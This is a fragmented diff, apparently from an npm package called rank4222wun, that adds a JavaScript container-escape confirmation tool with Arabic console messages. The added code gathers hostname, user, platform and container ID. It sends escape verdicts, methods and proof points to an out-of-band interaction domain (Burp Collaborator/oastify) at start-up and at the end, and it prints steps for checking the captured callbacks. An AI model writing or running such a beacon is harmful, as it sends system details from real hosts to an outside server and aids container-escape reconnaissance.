evidenceLog.finalVerdict.escapeMethods = escapeMethods;
|
|
488
|
+
evidenceLog.finalVerdict.proofPoints = proofPoints;
|
|
307
489
|
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
490
|
+
if (evidenceLog.finalVerdict.confidence >= 60) {
|
|
491
|
+
evidenceLog.finalVerdict.escapedToHost = true;
|
|
492
|
+
evidenceLog.finalVerdict.riskLevel = evidenceLog.finalVerdict.confidence >= 80 ? 'CRITICAL' : 'HIGH';
|
|
493
|
+
} else if (evidenceLog.finalVerdict.confidence >= 30) {
|
|
494
|
+
evidenceLog.finalVerdict.escapedToHost = 'POSSIBLE';
|
|
495
|
+
evidenceLog.finalVerdict.riskLevel = 'MEDIUM';
|
|
313
496
|
} else {
|
|
314
|
-
|
|
315
|
-
|
|
497
|
+
evidenceLog.finalVerdict.escapedToHost = false;
|
|
498
|
+
evidenceLog.finalVerdict.riskLevel = 'LOW';
|
|
316
499
|
}
|
|
317
500
|
|
|
318
|
-
//
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
501
|
+
// إرسال النتيجة النهائية إلى OAST
|
|
502
|
+
sendOASTInteraction('HTTPS', {
|
|
503
|
+
checkPoint: 'final_verdict',
|
|
504
|
+
evidence: {
|
|
505
|
+
escapedToHost: evidenceLog.finalVerdict.escapedToHost,
|
|
506
|
+
confidence: evidenceLog.finalVerdict.confidence,
|
|
507
|
+
escapeMethods: escapeMethods,
|
|
508
|
+
proofPoints: proofPoints
|
|
509
|
+
}
|
|
510
|
+
});
|
|
322
511
|
|
|
323
512
|
generateFinalReport();
|
|
324
513
|
}
|
|
325
514
|
|
|
326
|
-
// =====================
|
|
515
|
+
// ===================== Phase 4: Final Report =====================
|
|
327
516
|
function generateFinalReport() {
|
|
328
|
-
console.log("\n" + "=".repeat(
|
|
329
|
-
console.log("📊 تقرير تأكيد هروب الحاوية
|
|
330
|
-
console.log("=".repeat(
|
|
331
|
-
|
|
332
|
-
console.log(`\n
|
|
333
|
-
console.log(
|
|
334
|
-
console.log(
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
341
|
-
|
|
517
|
+
console.log("\n" + "=".repeat(80));
|
|
518
|
+
console.log("📊 تقرير تأكيد هروب الحاوية - مع OAST");
|
|
519
|
+
console.log("=".repeat(80));
|
|
520
|
+
|
|
521
|
+
console.log(`\n📍 OAST Domain: ${OAST_CONFIG.domain}`);
|
|
522
|
+
console.log(`🎯 Session ID: ${evidenceLog.sessionId}`);
|
|
523
|
+
console.log(`⏰ وقت التحقق: ${new Date(evidenceLog.timestamp).toLocaleString()}`);
|
|
524
|
+
|
|
525
|
+
console.log("\n🔍 معلومات النظام:");
|
|
526
|
+
console.log(` Hostname: ${evidenceLog.systemInfo.currentHostname}`);
|
|
527
|
+
console.log(` المستخدم: ${evidenceLog.systemInfo.currentUser}`);
|
|
528
|
+
console.log(` النظام: ${evidenceLog.systemInfo.platform}`);
|
|
529
|
+
console.log(` في حاوية: ${evidenceLog.systemInfo.isContainer ? 'نعم (' + evidenceLog.systemInfo.containerType + ')' : 'لا'}`);
|
|
530
|
+
if (evidenceLog.systemInfo.containerId) {
|
|
531
|
+
console.log(` Container ID: ${evidenceLog.systemInfo.containerId}`);
|
|
342
532
|
}
|
|
343
533
|
|
|
344
|
-
console.log("\n
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
console.log(`⚠️ مستوى الخطورة: ${escapeConfirmation.verificationResults.riskLevel}`);
|
|
534
|
+
console.log("\n🎯 النتيجة النهائية:");
|
|
535
|
+
let verdictIcon = '❓';
|
|
536
|
+
let verdictText = '';
|
|
348
537
|
|
|
349
|
-
if (
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
538
|
+
if (evidenceLog.finalVerdict.escapedToHost === true) {
|
|
539
|
+
verdictIcon = '🚨';
|
|
540
|
+
verdictText = 'هروب مؤكد من الحاوية إلى المضيف!';
|
|
541
|
+
} else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
|
|
542
|
+
verdictIcon = '⚠️';
|
|
543
|
+
verdictText = 'هروب محتمل من الحاوية';
|
|
544
|
+
} else {
|
|
545
|
+
verdictIcon = '✅';
|
|
546
|
+
verdictText = 'الحاوية معزولة (لم يتم تأكيد الهروب)';
|
|
547
|
+
}
|
|
548
|
+
|
|
549
|
+
console.log(` ${verdictIcon} ${verdictText}`);
|
|
550
|
+
console.log(` 📈 مستوى الثقة: ${evidenceLog.finalVerdict.confidence}%`);
|
|
551
|
+
console.log(` ⚠️ مستوى الخطورة: ${evidenceLog.finalVerdict.riskLevel}`);
|
|
552
|
+
|
|
553
|
+
if (evidenceLog.finalVerdict.escapeMethods.length > 0) {
|
|
554
|
+
console.log(`\n🔧 طرق الهروب المكتشفة:`);
|
|
555
|
+
evidenceLog.finalVerdict.escapeMethods.forEach((method, i) => {
|
|
357
556
|
console.log(` ${i + 1}. ${method}`);
|
|
358
557
|
});
|
|
359
|
-
|
|
360
|
-
if (escapeConfirmation.hostSystem.hostname) {
|
|
361
|
-
console.log(`\n🖥️ اسم المضيف: ${escapeConfirmation.hostSystem.hostname}`);
|
|
362
|
-
}
|
|
363
|
-
|
|
364
|
-
if (escapeConfirmation.hostSystem.kernel) {
|
|
365
|
-
console.log(`🐧 Kernel المضيف: ${escapeConfirmation.hostSystem.kernel}`);
|
|
366
|
-
}
|
|
367
558
|
}
|
|
368
559
|
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
560
|
+
if (evidenceLog.finalVerdict.proofPoints.length > 0) {
|
|
561
|
+
console.log(`\n🎯 أدلة قاطعة:`);
|
|
562
|
+
evidenceLog.finalVerdict.proofPoints.forEach((proof, i) => {
|
|
563
|
+
console.log(` ${i + 1}. ${proof}`);
|
|
564
|
+
});
|
|
565
|
+
}
|
|
373
566
|
|
|
374
|
-
|
|
375
|
-
console.log(
|
|
376
|
-
|
|
377
|
-
|
|
378
|
-
|
|
379
|
-
|
|
380
|
-
|
|
381
|
-
console.log(
|
|
382
|
-
console.log("🔒 لم يتم اكتشاف هروب ناجح");
|
|
383
|
-
} else if (escapeConfirmation.currentSystem.isContainer === false) {
|
|
384
|
-
console.log("ℹ️ النظام الحالي ليس حاوية");
|
|
385
|
-
console.log("📋 تم إجراء فحوصات أمنية عامة فقط");
|
|
567
|
+
console.log("\n📡 نتائج OAST:");
|
|
568
|
+
console.log(` DNS Requests: ${evidenceLog.oastResults.dnsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
|
|
569
|
+
console.log(` HTTP Requests: ${evidenceLog.oastResults.httpCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
|
|
570
|
+
console.log(` HTTPS Requests: ${evidenceLog.oastResults.httpsCalled ? '✅ تم إرسال' : '❌ لم يتم'}`);
|
|
571
|
+
console.log(` Total Interactions: ${evidenceLog.oastResults.interactions.length}`);
|
|
572
|
+
|
|
573
|
+
if (evidenceLog.oastResults.interactions.length > 0) {
|
|
574
|
+
console.log(` Last Interaction: ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].type} at ${evidenceLog.oastResults.interactions[evidenceLog.oastResults.interactions.length - 1].timestamp}`);
|
|
386
575
|
}
|
|
387
|
-
|
|
388
|
-
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
576
|
+
|
|
577
|
+
// حفظ التقرير محلياً
|
|
578
|
+
const reportFilename = `/tmp/container-escape-oast-report-${evidenceLog.sessionId}.json`;
|
|
579
|
+
fs.writeFileSync(reportFilename, JSON.stringify(evidenceLog, null, 2));
|
|
580
|
+
|
|
581
|
+
console.log(`\n💾 التقرير الكامل محفوظ في: ${reportFilename}`);
|
|
582
|
+
|
|
583
|
+
// تعليمات التحقق من OAST
|
|
584
|
+
console.log("\n" + "=".repeat(80));
|
|
585
|
+
console.log("🔍 كيفية التحقق من النتائج في OAST:");
|
|
586
|
+
console.log("=".repeat(80));
|
|
587
|
+
console.log("\n1. اذهب إلى: https://app.oastify.com (أو أداة Burp Collaborator)");
|
|
588
|
+
console.log(`2. أدخل الدومين: ${OAST_CONFIG.domain}`);
|
|
589
|
+
console.log(`3. ابحث عن Session ID: ${evidenceLog.sessionId}`);
|
|
590
|
+
console.log("4. ستجد التفاعلات التالية:");
|
|
591
|
+
console.log(" - DNS requests (إذا نجحت)");
|
|
592
|
+
console.log(" - HTTP requests (إذا نجحت)");
|
|
593
|
+
console.log(" - HTTPS POST requests مع أدلة الهروب");
|
|
594
|
+
console.log("\n5. إذا رأيت HTTPS request تحتوي على:");
|
|
595
|
+
console.log(" - 'escapedToHost': true ← تأكيد الهروب");
|
|
596
|
+
console.log(" - 'confidence': >60% ← ثقة عالية");
|
|
597
|
+
console.log(" - 'proofPoints' ← قائمة بالأدلة");
|
|
598
|
+
|
|
599
|
+
console.log("\n" + "=".repeat(80));
|
|
600
|
+
if (evidenceLog.finalVerdict.escapedToHost === true) {
|
|
601
|
+
console.log("🚨 تنبيه أمني: تم تأكيد الهروب من الحاوية!");
|
|
602
|
+
console.log("📡 تم إرسال الأدلة إلى OAST الخاص بك");
|
|
603
|
+
console.log("🛡️ يجب اتخاذ إجراءات أمنية فورية");
|
|
604
|
+
} else if (evidenceLog.finalVerdict.escapedToHost === 'POSSIBLE') {
|
|
605
|
+
console.log("⚠️ تحذير: هروب محتمل من الحاوية");
|
|
606
|
+
console.log("📡 تحقق من OAST للأدلة التفصيلية");
|
|
607
|
+
} else {
|
|
608
|
+
console.log("✅ الحاوية تبدو معزولة بشكل جيد");
|
|
609
|
+
console.log("📡 تم إرسال تفاعلات OAST للتحقق");
|
|
398
610
|
}
|
|
611
|
+
console.log("=".repeat(80));
|
|
399
612
|
}
|
|
400
613
|
|
|
401
614
|
// ===================== بدء التشغيل =====================
|
|
402
|
-
console.log("بدء عملية تأكيد هروب
|
|
403
|
-
|
|
615
|
+
console.log("🚀 بدء عملية تأكيد هروب الحاوية مع OAST...");
|
|
616
|
+
console.log(`📡 سيتم إرسال الأدلة إلى: ${OAST_CONFIG.domain}\n`);
|
|
617
|
+
|
|
618
|
+
// إرسال ping أولي
|
|
619
|
+
sendOASTInteraction('HTTPS', {
|
|
620
|
+
checkPoint: 'tool_start',
|
|
621
|
+
evidence: {
|
|
622
|
+
tool: 'ContainerEscapeConfirmation',
|
|
623
|
+
version: '2.0',
|
|
624
|
+
timestamp: new Date().toISOString()
|
|
625
|
+
}
|
|
626
|
+
});
|
|
627
|
+
|
|
628
|
+
// بدء التحقق
|
|
629
|
+
setTimeout(detectContainerEnvironment, 1000);
|
|
Binary file
|
package/rank4222wun-1.0.32.tgz
DELETED
|
Binary file
|
package/rank4222wun-1.0.33.tgz
DELETED
|
Binary file
|